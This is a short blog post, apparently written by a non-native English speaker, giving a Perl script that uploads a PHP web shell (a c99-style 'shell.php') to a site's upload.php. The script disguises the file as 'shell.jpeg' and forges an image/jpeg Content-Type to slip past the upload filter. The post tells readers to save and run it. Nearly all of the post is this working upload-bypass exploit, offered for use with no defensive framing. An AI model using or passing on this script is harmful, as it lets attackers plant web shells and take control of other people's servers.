Content-Type jpeg upload in shell (c99)

how to upload if permission in shell not give an access...

make this


save this with uploader_bypass.pl
#!/usr/bin/perl

use LWP;
use HTTP::Request::Common;

$ua = $ua = LWP::UserAgent->new;; # UserAgent is an HTTP client

$res = $ua->request(POST 'http://alamat.situs/upload.php', # send POST request
Content_Type => 'form-data', # The content type is
# multipart/form-data the standard for form-based file uploads
Content => [
userfile => ["shell.jpeg", "shell.php", "Content-Type" => "image/jpeg"], # The body of the
# request will contain the shell.php file
],
);
print $res->as_string();


that script have to save in 1 directory in shell
and run your perl script

nice to try......

0 komentar:

Posting Komentar